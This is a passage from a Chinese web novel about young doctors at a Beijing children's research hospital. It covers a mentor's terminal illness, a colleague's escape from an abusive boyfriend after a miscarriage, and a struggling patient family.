沈玫愤愤不平道:“他怎么能这样?都答应给他钱了,还来闹?” 舒映阶诧异道:“你别激动。” 她印象中的沈玫一直很稳重,可不是奚阳华那个没脑子喜欢上蹿下跳的猴子。 沈玫不好意思道:“抱歉啊教授,我就是……我最近可能情绪不太稳定。” “没关系,我是不想和他争了,就算他现在拿着刀过来,我也就只有这些钱,再多也没有了。” 奚阳华问:“您当初为什么离婚,这些年真没和孩子见过面?” “刚生下他时,我也纠结过,是不是该把重心多放到生活中一些,孩子需要陪伴,我知道。那两年我几乎没有加班,每天按时上下班,下班就回家给家人做饭、洗衣服。” 奚阳华完全想象不到舒映阶做家务的样子,在他心目中,舒映阶就该站在手术台上发光发热。 “后来还是觉得更喜欢专注医院的工作,而且我看其他男同事都有家庭,他们的妻子也都有工作,大家都好好的,没什么问题。所以我就想回到最开始的状态,没想到所有人都反对。” 南栀问:“您前夫反对?” “不只是他,我没有父母,医院对我来说就是我的娘家人,我当时没想到,连院长都来提醒我要注意维护家庭,我可从来没见过他去提醒男同事。” 沈玫愤愤道:“他们好像就喜欢把女人和家务绑在一起,为什么事业总是要男人来做?” 奚阳华:“……这话说的,男女条件不一样,男人力气大。” 南栀:“你去搬砖呗。” 沈玫:“你去工地用力气。” 奚阳华:“……,男人还更理智!” 南栀说:“那你就去理智地搬砖。” 沈玫:“理智地用力气。” 奚阳华:“……,男人还更聪明呢!!” 南栀一脸茫然:“啊?” 沈玫问:“你要和南栀比智商?” 奚阳华:“……” 沈玫说:“其实仔细看看,念书时成绩好的基本是女生。” 奚阳华试图挣扎,“但是第一名基本是男生!!” 南 栀:“啊?” 奚阳华:“你闭嘴!” 沈玫学习了南栀的说话技巧,“所以啊,让第一名的男生和我们做一样的工作,你去理智地搬砖。” 奚阳华:“……” 大脑已经被沈玫绕晕。 南栀这会儿才反应过来,“不是吧,我考试一般都第一名的啊。” 奚阳华:“……你是特例,第二名肯定是男生,对吧!” 南栀:“谁会回头看第二名?” 奚阳华:“……” 他拎起暖壶独自走进凄凉的走廊,“我还是去接水吧。” 在水房,他还能堂堂正正做个人。 舒映阶道:“你们别总欺负他,我看他最近精神都不太好了。” 南栀委屈道:“我真的没欺负他啊。” 怎么都说她欺负人?她品行端正,怎么会欺负人? 舒映阶:“……” 所以还真有点儿心疼奚阳华这孩子。 “其实我的事和他们没多大关系,就是决定了,不想留在家里照顾孩子,所以离婚。”舒映阶道,“我也得给你们提个醒,有了孩子以后,就多了一份牵挂,真的很难走出来。” 沈玫问:“您是怎么下定决心的?” 舒映阶苦笑道:“离婚之前,我还会带小才去人民公园,当时的公园能玩的东西不多,但是小朋友很多,天晚了,我叫他一起回家,他还没玩够,我强行拽他回来,他骂我。” 不是直接的脏话,但骂得很难听,而且舒映阶从他眼中看到了蔑视。 丁茂才说:“奶奶说了,你是没人要的孩子,我爸可怜你才和你结婚。” 事后,丁茂才可怜兮兮地抓着舒映阶的手道歉,但舒映阶对他的感情无论如何都回不到从前。 这句话让舒映阶坚决地和丁家人划清界限。 “这些年我一直有往家里寄钱,小才二十多岁时也来找过我,他当时结婚、工作都需要钱,我赚得不多,但花的也不多,毕竟是我生的,不能真不管。” 沈玫听得头大,“他都说这话了,还管他?换作是我,和他老死不相往来。” 她气了一会儿,又困惑道:“舒教授,我们是不是不该结婚生子?好像没有好处。” “怎么会没好处?”舒映阶说,“你看小陆,陆教授家里的情况南栀清楚,她和她的丈夫,和和美美一辈子,不也挺开心。总的来说,还是得遇到能相互理解的人。” 沈玫拧眉不语。 丁茂才来找舒映阶要钱这事很快传了出去,所有人都在替舒映阶抱不平。 舒映阶的成就有目共睹,如今身患癌症,还要面对是是非非,儿子好不容易来一趟,也只是为了钱。 实在让人唏嘘。 南栀这两天也闷闷不乐。 作为医生,她好像无法很好地接受死亡,她舍不得舒映阶。 按照儿研所的管理,早上,南栀跟着主任、副主任们一起去查房。 虽说南栀最多只能算个主治医生,但是她接手的都是舒教授的病人,舒教授的病人一般都比较难搞。 南栀被主任拉到最前面,身后全是副主任。 沈玫光是看着,心脏都要蹦出来了,让她站在副主任前面,打死她都不敢。 南栀还能笑眯眯地和几个副主任搭话,关键是副主任们也笑眯眯地回应她。 奚阳华小声吐槽,“你看看,他们眼里都是南栀,根本就没我们。” 沈玫却是若有所思,“这也说明,不论在哪里,实力都是最重要的。” 奚阳华质问:“我就没实习?” 沈玫看向奚阳华,捏住他的细胳膊,“你去工地搬砖都得倒数。” 奚阳华:“……” 他是医生!是医生! 沈玫说:“但是论洗尿布,儿研所确实没人比你厉害。你能不能教教我,如何才能把尿布在最短的时间里洗干净?” 奚阳华:“……,早晚有一天我要当上法医,亲手解剖你们的尸体!!” 副主任回过头,“现在想换专业?晚了。” 南栀一起回头,“验尸?我觉得我也可以试试。” 奚阳华:“!!” 查完房,大家伙商量着一起去劝舒教授投奔王敏,能有更好的医疗资源,儿研所的服务对象毕竟是孩子,很多事都不适合成人。 “这种事,本来应该找舒教授最亲近的人,让她去劝,可舒教授根本没有亲人。” “怎么没有?不是有想要遗产的,盼着舒教授快点儿死的吗?” “唉,堂堂一教授,下场却这么惨,我看着都难过。” “是啊,每次在病房看到舒教授孤零零的,我都替她难过。” 十来号人,没一个脸色好的。 在各自去工作之前,他们默契地往舒教授的病房走。 南栀跟在主任身后,她刚爬完楼梯,离舒教授的病房还有十几米,就看到轮椅滑进病房。 南栀问:“是有人来看望舒教授吗?” “没听说啊,这才几点,谁能过来?” 南栀就怕还有丁茂才这样的人,舒教授病重,就算没说出来,心里肯定也不舒服,这对她养病没好处。 她快步跑过去。 其他人见状,赶紧跟上去。 路过的护士惊恐地看着神外这一帮人,“出大事了??!” 不然医生怎么会跑!! 病房的门虚掩着,南栀气喘吁吁停在病房前,进门之前她还得先确认,如果对方真是来找碴的,她就直接扛着扫把进去,这样看起来气势很强! 南栀透过门上的玻璃看过去。 病房内,两个白发老人的手紧紧握在一起。 坐轮椅的老人由两个年轻人陪伴而来,年轻人安顿好老人便走出来,见门口这么多医生,先是惊讶,接着解释道:“我是文老师的学生,我带她来看望舒教授。” 文丽,年轻时在海外留学,按照现在的说法,她是标准的海归、留学生。 回国后曾在战争期间做战地护士,战争结束后继续学习,随后进入中科院,主要研究稀土。 文丽一直在首都生活。 年轻人说:“文老师的丈夫已经去世,前年孩子也走了,这两年一直是我在照顾她。她在报纸上看到舒教授的事,便想着过来看一看,似乎和她的经历对得上。” 舒映阶的名字,是她后来给自己取的,文丽不知道。 她们以为对方早已不在人世,也没想再去找。 经历过战争后,她们比普通人更容易接受死亡。 沈玫很感性,“文教授没有怪过舒教授,太好了。” “其实我听文老师提起过舒教授,她说她们一起去国外时,她就看出舒教授很聪明,可惜家里穷,卖了孩子,如果舒教授能接受教育,肯定能有一番作为。没想到就算身世坎坷,舒教授也凭能力闯出来了。” 沈玫看向奚阳华,“看见了吗,文教授不仅不怪舒教授,她还有自己的事业,和你说的可不一样。” 奚阳华:“……” 他今天也要去水房反省吗? 下午,病房陆陆续续来了更多的人。 这些人都是舒映阶的学生,在报纸或者收音机里得知舒教授生病的消息,赶过来看望舒教授。 住在首都附近的早就来过,刚到这些都是长途跋涉,坐绿皮火车赶过来的。 病房热热闹闹的,再也冷清不下来。 * 在大家的劝说下,舒映阶决定暂时住到王敏的医院,尝试接受治疗。 如果治疗效果不好,舒映阶不打算过度治疗,珍惜剩下的时光才是最理智的。 儿研所给舒映阶提供了养病的房子,房子带小院儿,环境很好,在首都来说算是高档的。 南栀和沈玫拽着奚阳华一起去打扫院子,还要给舒映阶添置些必需品。 南栀思来想去,还是把舒映阶办公室的东西都搬过去了。 奚阳华道:“舒教授都病成这样了,还让她工作,你还是人?” “你懂什么?”沈玫赶走奚阳华,“舒教授喜欢这些,她可能完全放下安心休养吗?她不回儿研所继续看门诊就不错了。我们还是把舒教授用得到的东西都摆出来,别拦着她。” 奚阳华:“……” 怎么说呢,和捉摸人的心思比起来,还是洗尿布、接水更简单些。 舒映阶不在儿研所,儿研所看起来冷冷清清。 南栀不出门诊,目前只在手术室晃悠,偶尔去病房。 陶明志还没出院,他术后恢复得不错,不过前天感冒了,唐水花不放心,不肯走。 从检查报告来看,陶明志感冒和肿瘤没什么关系,南栀担心还会有其他情况,特意去病房看他。 唐水花一看到南栀就焦急道:“南医生,小志今天一直在睡觉,是不是睡得太多了?” 术后陶明志虽然醒得很快,但精神比较弱,而且还有轻度面瘫。 病理回报,陶明志是胶质母细胞瘤伴坏死,是儿童型弥漫性高级别胶质瘤,这意味着虽然手术成功,但陶明志的未来仍然不光明,还得继续进行化疗放疗。 南栀现在多多少少能理解唐水花的心情,她耐心解释道:“我们一直在观察陶明志的情况,他的精神的确不好,不过都在预料之中,不用过于担心。手术当晚咱们不就看了CT吗,前几天还复查了MRI,结果还是不错的,切得很干净。” 唐水花红着眼睛说道:“我就是担心……陶靖为了给他筹钱,每天从早干到晚,我现在也没法去工作,我们家真的一点儿也经受不起折腾了。” 陶明志的病的确花了不少钱,未来可能还要花更多的钱。 说话间,陶靖拎着饭盒走进来,他们不舍得去医院的食堂吃饭,三餐都是靠家里人做。 陶靖跑前跑后确实很忙。 唐水花看向陶靖,“要不咱们先出院吧?已经住了挺久了,这多住一天就要多交钱,以后小志还得再来医院,咱们先省省?” 陶靖脸色沉闷,他不赞同,“小志刚做完手术,现在最该注意,如果在家里出问题,咱俩解决不了。” “可是咱家已经借了不少钱……以后还不上怎么办?” 两人都沉默了。 南栀的心也跟着沉下去,“其实小志现在的情况可以出院,只是护理起来可能有些麻烦,不过在家里是一样的。如果有突发状况,你们立刻把孩子送过来 ,不用等门诊,随时来找我们……” 陶靖打断南栀,“钱的事你不用操心,医生也不用操心,我来想办法。” 他说完便起身匆匆离开。 唐水花坐在床边叹气。 她不知道他们的努力能让陶明志多活几年,但是作为陶明志的父母,他们没法眼睁睁看着陶明志离开。 南栀有点儿奇怪,“你们借了很多钱,还有其他赚钱的法子?” “我也不知道,”唐水花说,“走一步算一步吧。” 南栀这两日睡在舒映阶的“新家”,主要是方便打扫,还能再看看是否需要再给舒映阶添些什么。 她每天都去看望舒映阶,还去了韦初雪的康复医院,想给舒映阶挑了一个好地方,舒映阶还是更喜欢住在家里。 南栀难得休班,打算去医院陪舒映阶一天,刚起来电话就响了。 这电话当然也是为舒映阶安装的,南栀肯定没这个待遇。 是奚阳华打来的电话,他的语气很是茫然,“南栀,你知道沈玫住在哪里吗?” 南栀:“?” 她不知道,没去过沈玫的家。 “沈玫没去儿研所吗?” 奚阳华困惑道:“应该过来,但是没来,我刚才还接到电话,是沈玫打过来的,她让我去找她,但是没说完,电话就断了。很奇怪吧?” 第85章 第85章沈玫总是明哲保身,最近…… 沈玫总是明哲保身,最近的状态确实不对,情绪经常失控。 南栀让奚阳华去找学校要沈玫的住址,这一找才发现,原来沈玫已经从家里搬出去,不在家住了。 她对家人称自己住宿舍,对学校称回家住。 奚阳华觉得不太妙,“她不会是……” 奚阳华又去找了沈玫的好友。 一连找了三四个人,终于拿到沈玫现在的住址。 那片楼都是出租屋,环境一般,人员混杂,有许多社会人士。 南栀平时不往这边走,来了以后才发现,这边虽然是楼房,可楼体破烂,更像是楼房版的城中村。 不远处的下水道堵了,脏水踊跃,南栀和奚阳华捂着鼻子往前走。 上楼还要躲避楼道里的各种杂物,大半楼梯都被杂物霸占。 奚阳华不可置信道:“沈玫住在这里?” 他没听说班里同学有家庭特别差的。 首都医科大是全国最好的医学院,上学所需的费用也稍微高些,能供孩子读完的家庭应该不会太穷。 南栀道:“这是沈玫租的房子,不是她家。” “我就说她为什么要租这种房子?没钱?她家离儿研所也不远,干嘛非要跑出来租房子?” 南栀没说话。 其实她还听到沈玫的舍友说,沈玫已经退掉学校的宿舍两年,这两年一直都在外居住。 一个人租破烂房子还不如住学校宿舍,沈玫不可能是一个人住。 那和她同住的人…… 南栀觉得不太妙。 他们找到房间号,奚阳华去敲门。 这里的屋子都没有防盗门,只有破旧的老木门,奚阳华用力拍了两下,然后叫沈玫的名字。 屋内安安静静。 不过这安静没能持续多久,南栀和奚阳华都听到“啪”的一声,好像有人摔倒。 接着是男人的怒骂声:“你还找人来?!” 奚阳华慌了,“沈玫是不是挨打了?怎么办,报警?咱们是不是得先进去?等等啊,我下楼找几个男人来踹门。” 话音刚落,南栀收紧核心,气沉丹田,一脚正踹在门锁上。 屋门晃荡了两下,朝里倒去。 奚阳华:“……” 不是,她怎么直接把整扇门踹倒了?! 奚阳华抬头望天,“也许比起做手术,我的体力更适合洗尿布。” 南栀难得赞美他,“洗尿布也需要体力,你真厉害。” 奚阳华:“……” 听了以后并不是很高兴。 南栀和奚阳华冲了进去。 屋子很小,有两个房间,沈玫倒在卧室的地上。 她一直捂着肚子,见有人进来,也看不清来人是谁,伸手向他们求救。 南栀拉住沈玫的手,先检查她的情况。 奚阳华勾起拳,左右摇摆,做出“武林高手”的样子。 沈玫对面是个高大的男人,神情阴狠。 南栀问:“这是你……男朋友?” 沈玫脸色苍白,额头有很多汗。 痛成这样绝对不正常,南栀问:“他打你了?打在哪里,能指到吗?” 她顺便叮嘱奚阳华,“屋里有电话,叫救护车来。” 沈玫指了指肚子。 南栀刚想怀疑是不是黄体破裂,就见沈玫身下有血迹。 再仔细看,血迹似乎是…… 南栀愣了一下,想到沈玫宽松的衣服,惊讶道:“你怀孕了?” 沈玫再次点头。 奚阳华回过头,“哈?怀孕?怀什么孕?什么是怀孕?沈玫为什么会怀孕?” 沈玫:“……” 她怎么会打电话给奚阳华求救,她当时是希望南栀接电话的! 南栀一边催奚阳华叫救护车,一边检查沈玫的情况,顺便还仔细打量男人几眼。 男人坐在旁边抽烟,“看什么看?” 南栀盯着烟头的火星说道:“人渣不多了,我得多看看,以后如果绝种,轻易看不到。” 男人:“?” 南栀又对沈玫说:“你可以选择自己的生活,但你确定要选一个会对怀孕的女朋友动手的男人?” 沈玫咬着唇不说话。 男人暴躁道:“都说好了生了孩子就结婚,现在忽然说要继续上班,我怎么办?我怎么和我妈交代?” 南栀惊呼:“不仅是人渣,还是妈宝男!” 男人:“……,?” 他不是很明白南栀的话,但看得出南栀是在骂他。 “和你无关!” “当然和我无关啦,我怎么会和人渣扯上关系?”南栀看向奚阳华,“顺便叫110。” 男人:“?” 南栀友好地解释,“和警察有点儿关系,你和警察谈吧,和我谈不合适。” 男人:“……” 方才还嚣张的男人终于有了点儿焦躁的意思,他试图拉拢沈玫,“咱俩这么多年了,我会害你吗?我现在赚得不少,只要你把孩子生下来,我爸妈就答应咱俩结婚,如果是男孩那就更好了,这不是我们的共同目标吗?你现在是要和我分手?和我分手以后,还会有人要你?” 南栀:“还是会pua的人渣妈宝男!!厉害!!” 男人终于被南栀喊疯了,“你闭嘴!!” 沈玫被紧急送到附近的医院,很可惜的是,孩子没能保住。 她最近心情不好,这一胎原本就不稳定,又受到重击,自然会流产。 研究生期间结婚其实不少见,南栀还见过大着肚子去答辩的研究生,但不管年纪多大、是否在上学,都要为自己的选择负责。 沈玫的男友被警方带走,当天下午,男友的父母就找到病房,两人先是跪下来哀求,在南栀和奚阳华的注视下,沈玫没有答应谅解。 接下来两个人的态度就很嚣张了,“你已经怀过我儿子的孩子,放在过去那就是残花败柳,现在不流行这说法,但事情已经做了,你躲不了。不嫁给我儿子,你也嫁不了其他人!” 南栀和奚阳华小声议论,“咱们搞一个相亲角吧?可以把双方的条件写上去,看上了就接触。” 男友爸妈:“?” 他们在吵架诶,这俩人是不是太不尊重他们了? 女人说:“一个孩子没保住,将来还能有第二个孩子,但如果嫁不出去,这辈子可就生不了了!” 男人提醒道:“但是我儿子还是很好找对象的。” 沈玫无措地看向南栀。 南栀和奚阳华持续讨论中,“先试一试写两个人的条件……对,女方,研究生毕业,未来的医生,铁饭碗。父母是双职工,爷爷奶奶都在政府单位工作,现在退休了,没有拖后腿 的地方。” 两人:“……” 听着好像不太对劲? 南栀又说:“这张纸上写男方的条件,大专生,唉,学历差了点儿,大专生我都懒得多看一眼。” 奚阳华说:“谁给本研究生介绍大专生,我跟谁急!哦,我是说这种会打人的大专生不行,如果是人品好的,那没问题。” 奚阳华生怕自己几句话会阻断未来的相亲路。 南栀:“明白,再看看其他条件吧,工作是在私人企业,虽然以后可能不会再分配工作,但他这个私人企业也太小了点儿。” 奚阳华:“以后不分配了??!!” 南栀把奚阳华的头按下去,“轮不到你!” 奚阳华这才继续说道:“工资也不多,一个月才八十,还敢说自己赚得挺多,脸真大。我要有这自信,我高低能当个主席。” “何止呢,你看他家里条件也一般,妈妈是没工作的。” “但他俩自信啊!脸皮厚啊!我跟你讲,这可是一项很有用的技能,将来就直接往人家车前躺着,死皮赖脸就要钱!” 南栀:“!!” 碰瓷这件事被奚阳华提前发明出来了! 果然奚阳华就该被扼杀在摇篮里! 南栀给奚阳华鼓掌,“致富道路,对他儿子找对象有帮助!” 沈玫:“……” 这两个人的条件听着怎么有点儿耳熟? 沈玫刚做完手术,又碰到男友的爸妈来作妖,心情本来不太好,现在不会了。 她看向男友的爸妈,神情微妙。 这两位的脸色更加微妙。 原本他们未来的儿媳妇可以是研究生,父母还是双职工…… 南栀回头看向沈玫,“别担心,我们的相亲角很快就能办起来,你的条件肯定能找到不错的。” 男友妈妈忍不住吐槽道:“都是流过产的了……” 南栀对奚阳华说:“你知道吗,有的夫妻生完孩子后还会再怀孕,真是不要脸,这样的夫妻不能离婚,离婚以后就没人要了。” “……,结婚流产,有什么不要脸的?!” 南栀礼貌道:“我没说您啊。” “……我们是合法夫妻!” 南栀说:“谈恋爱也合法,现在没有流氓罪了。不过确实还是不太好,有的人不做好措施,哄骗前女友怀孕,还拳打脚踢导致对方流产,以后确实没人要了。” 奚阳华道:“得把这条写清楚,要不咱们多做一些传单发一发?” 南栀赞同道:“可以,这种人,就该申请物理阉割,以免残害其他女孩子。” 奚阳华:“……” 不知道为什么,他已经开始疼了。 在南栀和奚阳华合力炮轰下,沈玫男友的父母气呼呼地离开。 他们离开时南栀还在设计“传单”,保证让所有人都知道他们儿子的恶行。 两人都走了,南栀和奚阳华还沉浸在传单和相亲角里。 沈玫说:“你们别忙了。” 南栀十分沉浸:“我一定给你找到好对象!!” 沈玫:“……” 她掀开被子叹气,“我不打算再找了,也不想结婚,男人好像都一个样。” 男人奚阳华,“男人怎么了,你刚好碰到一个人品差的,就否定全部人?” 沈玫:“真的有品行都好,还能聊得来的?” 南栀陷入沉思。 奚阳华:“……” 别沉思啊! 奚阳华说:“这样的你都能看得上,你要求低,将来肯定还能再找到。” 这一点南栀倒是无法反驳。 她看向沈玫,“这事还是在你,你可想好了,真要分手,不会心软?” 沈玫说:“其实这段时间,我一直没下定决心,不过分手的想法,的确早就有了。” 在看到舒教授为了培养下一代而努力,在看到南栀一次次站在手术台上时,沈玫开始犹豫,她为什么不能和她们一样站在手术台上闪闪发光? 真的要一毕业就困在家庭中? 沈玫原本舍不得孩子,今天肚子上忽然挨了这么一脚,沈玫想,这或许是她重来一次的机会。 第86章 第86章家属啦 离开儿研所前,南栀还得再做最后一项工作——发挥她整合资料的能力,把儿研所所有科室的现况都整理出来。 她主刀的几台手术也很有分享价值,譬如陶明志的手术,巨大肿瘤切除,甚至可以召开个病例研讨会。 除了她主刀的几台手术,舒映阶先前做的复杂手术也得记录,舒映阶病了,南栀得一块整理出来。 这几天南栀在儿研所上蹿下跳,到处转悠,每个科室都不放过。 她主刀的那几台手术本就出名,被称为最完美的手术,现在就连内科的医生看她都眼熟了。 “天天来咱们科室问东问西的人是谁?” “作死的那个神外医生。” “哦!说是个天才!” “舒教授病倒,她直接上手,万一出问题……啧,确实是作死的天才。” 南栀做这些工作,是想吸取儿研所的经验,希望回临川能用得到。 她还顺手帮舒教授做了收尾的工作,连续几天忙得脚不沾地。 沈玫稍微休整便回来上班,她下定决心要争取留在儿研所。 她回来的第一件事,就是帮南栀处理舒教授未完成的工作。 南栀担心她的身体,劝她多休息休息,沈玫态度坚定,“我查过资料,休息几天没问题,我恢复得挺好,来医院也不用做力气活,没事。” 她不想将此事告诉家里,不愿意回家休息。 南栀便分给她一些轻巧的活。 两人忙得几乎没时间去食堂,就算是去了,也是闷头吃饭,吃完饭立刻回办公室。 为了更快地完成工作,沈玫干脆直接带着论文去食堂。 她带的是南栀写的论文,南栀系统整理了小儿神经外科的病种,根据最近几台手术论述小儿神外手术和成人手术的区别。 “你整理的内容真的很全面,而且总觉得简单易懂。” 奚阳华表示怀疑,“都是写论文,看不懂说明你水平有问题,她写的论文就镶金了?” 沈玫反驳道:“同样内容的论文,谁都会选择更容易懂的。” “大家都是学医的,怎么会不懂?如果不懂,那就是他学得差。” 两人争执不出结果,都看向南栀。 南栀正对着鸡腿下苦功夫。 现在鸡肉比猪肉便宜,南栀想多吃些肉,就只能冲着鸡肉努力。 奚阳华:“……” 瞧瞧这位南医生的吃相,不知道的还以为是路边的乞丐来抢银行了。 南栀说:“我是考虑到看论文的不只是医生或者医学生,尽量写得通俗易懂些,也有科普的效果。” “除了我们,谁还会看这东西?” 南栀道:“总会有人需要的,这也不是什么专业的论文,大家都能看懂,不是很好吗?” 沈玫挑起眉,在心里默默感慨——这“不专业”的东西,她可写不出来。 “不过我看你的文章,总觉得很熟悉,”沈玫翻到第一页,重新看了一遍,“好像以前看过这样的风格,奇怪了,咱俩以前不认识啊。” 南栀差点儿被鸡腿肉呛到。 奚阳华:真能装! 就是想让沈玫夸她厉害呗! 心机! 奚阳华说:“其实我也给报刊投过稿,你看校刊吗,上面有我写的文章。” 沈玫忽视奚阳华,把论文还给南栀,“你以前有在期刊上发表文章吗?” 南栀赶紧把本子收好,头摇得像拨浪鼓。 可不能让人知道她和“高仁”的关系,她写了太多她那个世界医生们的研究结果,如果被发现,到时候可就说不清了。 吃过饭,南栀还得去看望舒教授,舒教授今天出院。 南栀抱着本子走在最后,就怕沈玫再提到此事,偏偏有医生特意走过来问:“南医生,有件事我好奇很久了,你是从临川来的,你们临川有一个医院,不知道是不是你工作的地方,有个人发表过好几篇文章,这大神你认识吗?” 沈玫:“……” 对了,难怪风格很熟悉! 南栀的脖子差点儿摇断,“不知道不知道,她可神秘了,我什么都不知道。” 沈玫:“……” 很可疑。 沈玫看向奚阳华。 奚阳华神秘道:“一定是我猜的那样。” “哪样?” 奚阳华说:“就是……那个傻子把地址写错了!” 沈玫:“……” 愿世界再无笨蛋。 奚阳华说:“要么就是陆教授不想被人发现,只有这两种可能,如果还有其他可能我就……” 南栀期待地看着他,“你就怎样?” 奚阳华:“……我就洗一辈子尿布!” 南栀:“哇!” 这可太期待了。 南栀回到办公室收拾好东西,准备去接舒教授。 舒教授生病,时间最自由的就是南栀,科室主任和其他副主任不会给南栀分配任务。 走之前她又去了一趟病房,这次是专门去劝唐水花的。 陶明志目前还没出院。 “你家里条件困难,没必要继续留在医院,我向你保证,我绝对不是因为经济问题才劝你,小志现在的确可以出院了。” 陶明志生病做手术那几天对唐水花来说是一场噩梦,她实在无法放下,“南医生,我和陶靖商量过了,小志这次感冒发烧,我们都挺害怕,等小志彻底好了,我们就走。而且……” 她为难道:“我们还欠了医院一些费用没结,筹钱的话,还需要时间。” 南栀说:“可是继续留在医院,还会花更多的钱。缴费的事可以和护士长商量商量,你们已经交了不少钱,医院对你们有信任,可以放宽。” 唐水花道:“陶靖说今天就可以筹到钱了,顺利的话,明天我们就能出院,给你添麻烦了。” 患者家属坚持,南栀也不好再劝。 她离开病房时正好碰到陶靖过来,陶靖一般不会在半天出现,今天不仅过来了,还背了一个牛仔背包。 背包鼓鼓囊囊,能看到锋利的棱角。 他目不斜视,走进病房,和以往一样,不会主动和唐水花说话,倒不是他们感情不好,就连陶明志,他都不会主动开口。 唐水花已经习惯他的性子,她把需要洗的衣服交给陶靖,这些衣服都是陶靖回家洗的。 陶靖装好衣服,又去拿暖壶。 他人倒是很勤快。 南栀想看他的背包,奈何陶靖人高马大,将背包挡得严严实实。 南栀的脚尖都快踮碎了,也没能看到包里的东西。 她只能带着狐疑离开。 陶靖会带什么? 南栀找到沈玫和奚阳华,三人一起往外走,打算去接舒映阶出院。 走路时,她还在想陶靖的牛仔背包,背包印出的形状让她不安。 陶靖说今天会想办法交钱。 他还说…… 南栀忽然停下。 奚阳华:“干嘛,犯病了?” 南栀看向住院大楼,正巧看到陶靖背着包离开住院部。 沈玫有些感慨,“其实陶靖看着凶,但人挺不错的,很踏实,知道赚钱还会干活。” 奚阳华说:“你对男人的要求是越来越低了,你也不能碰到一个垃圾,就认为所有男人就是垃圾吧?” 沈玫说:“找你也挺倒霉。” 奚阳华:“……” 他和进拘留所的男人才不一样!他不会动手! 沈玫说:“不过也有好处,以后生了孩子,不用担心没人洗尿布。” “……,沈玫!我警告你,你如果再提洗尿布我就!!” 南栀忽然向陶靖跑去。 她跑得很突然,沈玫和奚阳华都没反应过来。 南栀拦住正要出院门的陶靖,“等等!” 陶靖大概有心事,一路低着头,没留意到南栀,她突然蹿出来,陶靖直接立正站好,接着错愕地看着南栀。 南栀说:“我不知道你要去做什么,不过我得告诉你,小志的手术虽然成功了,但这只是手术,他不是良性肿瘤,将来还有复发的可能。” 陶靖拧紧眉头,“为什么说这些。” “他需要人照顾,唐水花也需要一个依靠,”南栀提醒道,“如果没有你,你让他们如何坚持下去?” 沈玫和奚阳华跑过来,奚阳华抱怨道:“我都说了让你别跑,我过来看看就行了,非得跑,累着怎么办?吹风了怎么办?你现在需要休息!” 沈玫瞪了他一眼,“找你的姑娘能被你唠叨死!栀栀,怎么了?” 陶靖先是惊愕,沈玫二人过来后,便警惕地看着他们,牢牢地抓着背包带子。 南栀没有直说,她再次提醒道:“钱的事,我们可以去和医院商量商量,看看是不是能延缓一些时间,小志的手术比较特殊,手术成功对儿研所是有好处的,这些对你们都有利。但如果你还是选择用这个方式解决问题,一旦被发现,将来小志如果再犯病,他身边可就只有唐水花一个人了。” 沈玫困惑道:“你在说什么?” 南栀摇摇头,拉着沈玫往外走,“我们走吧,舒教授在等我们。” 沈玫低声问:“他打算去抢劫?” 南栀不知道,她只看出陶靖不对劲,他背包里的东西也不对劲。 就像沈玫说的,陶靖很勤快,不善于表达感情,但是对老婆孩子很好,南栀不想看到他走歪路。 南栀自言自语道:“医保什么时候能实行?如果一些药物更早地问世,是不是能更早纳入医保报销?” 回去还得再回忆回忆这方面的内容! 舒映阶已经收拾好行李,做好出院的准备。 王敏穿着白大褂,一直跟在舒映阶身边唠叨,“你要定期复查,不要再去儿研所上班了,如果他们碰到没法确诊的患儿,再去找你问也来得及。不要总抓着不放,咱们年纪大了,要多给年轻人机会,要信任他们。” 舒映阶捂住耳朵,“你怎么比小陆还唠叨?” “还提小陆,”王敏说,“小陆下个月才能来看你,小陆可太忙了。” 舒映阶:“你要注意,你的年纪比我们都小。” 王敏表示:“小舒,现在我是医生,你是病人,你得听话。” 舒映阶:“……” 她怎么就是儿科医生呢? 王敏又把南栀几人拽出去叮嘱,“医院那边你们得打好招呼,她放不下工作,可以在一定程度上满足她,但不能让她累着。” 南栀点头。 “我晚上会搬过去和她住在一起,小陆下个月就来,一时半会不会走,这方面你们不用担心。” 沈玫:“您说的小陆是?” 王敏自然而然道:“陆嘉述呗。” 沈玫:“……” 他们儿科的两个大教授,在王敏面前只能变成小舒小陆了。 “文丽那边呢,也会经常来看望小舒,你们都不用担心。” 最后这句话似乎是对南栀说的。 南栀道:“王教授,我没打算走。” 王敏一愣,看向病房,“那还是你们自己商量吧。” 舒映阶把南栀叫了进去。 “其实当时小陆联系我让你过来学习,说好了就是两个月,她说你学东西快,两个月差不多,现在早就超过当初定下的时间,你还不打算走?” 南栀坐在病床旁,“您现在身体不好,得有人帮忙。” “那也不需要你留下,”舒映阶说,“我好像听小陆说过,你们副院长想让你来首都求学,你不同意,想在当地读研究生?还要一边工作一边上学,怕耽误时间?” 南栀点头。 舒映阶皱眉问道:“既然如此,现在留在儿研所,不也是浪费时间?几个主任没时间教你。” 南栀道:“没关系的,不能留在儿研所也没事,我可以找个工作慢慢打工,康宁医院缺医生,也不怕将来回不去。” “胡闹!”舒映阶厉声道,“有必要吗?生死有命,我活到这个年纪已经知足了,不用你陪!” 儿研所的医生都说舒映阶严格,但南栀几乎没见过她发脾气。 这是舒映阶第一次发火。 南栀低下头不说话。 她不想扔下舒教授回临川。 舒映阶道:“我早就知道自己病了,时间紧急,所以尽可能多教你一些,现在好了,你要留下来浪费时间?你不可能留在儿研所,我不会同意,你要留在首都,就只能去外面打工,你没学历,也就去饭店刷刷盘子。” 南栀小声说:“我可以去社区医院,要求不高。” “你!你要气死我?” 南栀抬起头,真诚道:“舒教授,我不放心你一个人,人家不是说了,一日为师终身为父,您这为母也是一样的,我总不能看着你一个人没人照顾吧?” “我用你照顾?我有朋友有学生,我的学生如果都跑过来管我叫妈,我都养不过来!还轮得到你来照顾我?你就按照自己的计划,该做什么就做什么,你不是说康宁医院的设备还不错吗,将来引进MRI,该做的手术都能做,免了他们往首都跑,你都忘了?” 南栀声音更小,“我也舍不得您,如果我走了,再也看不见您怎么办。” 舒映阶无奈道:“我答应你,死之前通知你一声。” 南栀:“……” “我发现你对死亡的认知很不对劲,你可是医生,难道你所有患者都活得好好的,没见过去世的?” 南栀道:“见过,可这不一样,感情不一样。” “怎么不一样?都一样,早走晚走而已。”舒映阶耐心劝道,“我以前也怕死,我也接受不了亲人朋友离开,可能怎么办,这是早晚的事。” 南栀拧起眉,有点儿郁闷,“到了年纪,重要的人一个个离开,死了就再也见不到了,真不知道人为什么要活着,反正早晚都要死。” “你这孩子,”舒映阶说,“怎么就见不到了?咱死了以后去的不都是一个地方?只不过是我早点儿去,你晚点儿去。那边有我的亲人,有我的朋友,我去了照样能和他们团聚。你也不用怕死,总归是我在那边等你。” 南栀愣了片刻,好像对死亡确实没那么抵触了。 